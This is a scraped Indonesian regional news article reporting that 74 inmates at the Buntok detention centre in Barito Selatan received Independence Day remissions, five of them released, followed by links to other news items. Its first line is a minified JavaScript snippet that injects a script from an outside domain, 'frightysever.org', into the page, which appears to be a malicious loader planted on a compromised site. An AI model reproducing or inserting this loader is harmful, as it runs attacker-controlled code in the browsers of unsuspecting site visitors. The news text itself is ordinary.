(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Selatan

74 Binaan Rutan Buntok Dapatkan Remisi 5 Orang Langsung Bebas


BUNTOK, HUT Kemerdekaan RI ke-73 menjadi berkah bagi warga binaan di Rutan Kelas II B Buntok Kabupaten Barito Selatan (Barsel). Sebanyak 74 napi dapat pengurangan masa tahanan (remisi) hari kemerdekaan.

Kepala Rutan Buntok Mastur Rahman menerangkan, surat keputusan dari pihak Kementrian Hukum dan Hak Asasi Manusia RI, tentang pemberian remisi terhadap warga binaan Rutan Buntok tersebut, diserahkan langsung oleh Bupati Barsel H Eddy Raya Samsuri kepada yang bersangkutan.

Mastur mengatakan, keseluruhan warga binaan Rutan Buntok saat ini berjumlah 162 orang. Akan tetapi yang bisa mendapat remisi hanya 74 orang dan 5 di antaranya langsung mendapatkan kebebasan.

“Kami memberikan remisi kepada 74 orang narapidana warga binaan Rutan Kelas IIB Buntok saat ini berdasarkan dari hasil penilaian para petugas Lapas. Dimana, para napi tersebut telah memenuhi persyaratan sesuai subtansinya untuk memperbaiki diri,” katanya, Jumat (17/8).

Ia mengatakan, pemberian remisi atau pengampunan berupa pengurangan masa tehanan kepada para narapidaha, merupakan bentuk penghargaan terhadap hak asasi manusia. Karena para narapidana adalah bagian yang tidak mungkin terpisahkan dari warga negara Indonesia.

“Yang mana selam ini kita telah memberikan pembinaan kepada seluruh warga binaan Rutan Buntok, dan besar harapan kita kiranya setelah bebas nanti bisa menjalani hidup lebih baik lagi,” ujar Mastur.

Ditambahkan olehnya kepada sejumlah narapidana yang mendapat remisi tersebut, kiranya  bisa lebih meningkatakan kedisiplinan dan menguatkan tekat agar terus berusaha untuk memparbaiki perilakunya selama menjalani hukuman atas kesalahan sebelumnya.

“Kita menyadari bahwa kodrat manusia tidak luput dari salah dan kehilapan. Akan tetapi, dengan adanya akal sehat yang di berikan Tuhan kepada kita sebagai manusia. Tentu dapat memilah dan memilih langkah agar yang tidak bertentangan dengan hukum yang berlaku di negara kita,” tandas Mastur sekaligus mengakhiri.(digdo)

Reporter : Digdo
Editor : Chell

Desy Arfianty

Recent Posts

Diskon Listrik 50% Januari-Februari Mulai Berlaku, Beli Token Bisa Sepanjang Bulan

KANALKALIMANTAN.COM, JAKARTA - PT PLN (Persero) memastikan paket stimulus ekonomi berupa potongan tarif listrik 50%… Read More

13 menit ago

Besok Putusan Sela Perkara Korupsi Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Perkara kasus gratifikasi proyek Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi… Read More

2 jam ago

Vonis Separuh Tuntutan untuk Empat Terdakwa Korupsi Kredit Fiktif Bank

KANALKALIMANTAN.COM, BANJARMASIN - Hakim Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin membacakan putusan kasus korupsi kredit… Read More

18 jam ago

Wali Kota Aditya Bacakan SK Pelanggaran Kode Etik ASN Pemko Banjarbaru, Ini Tiga Nama Pelanggar

KANALKALIMANTAN.COM, BANJARBARU - Surat Keputusan (SK) terkait pelanggaran kode etik dijatuhkan kepada tiga orang Pegawai… Read More

20 jam ago

Dukung Pembangunan Keberlanjutan di Kalimantan, PLN Hadirkan 15 Program TJSL di Sepanjang 2024

KANALKALIMANTAN.COM, BANJARBARU - Di sepanjang tahun 2024, PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

21 jam ago

Ada Pekerjaan PAM Bandarmasih, Besok Distribusi Air Disetop

KANAKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penyetopan distribusi air bersih selama… Read More

1 hari ago

This website uses cookies.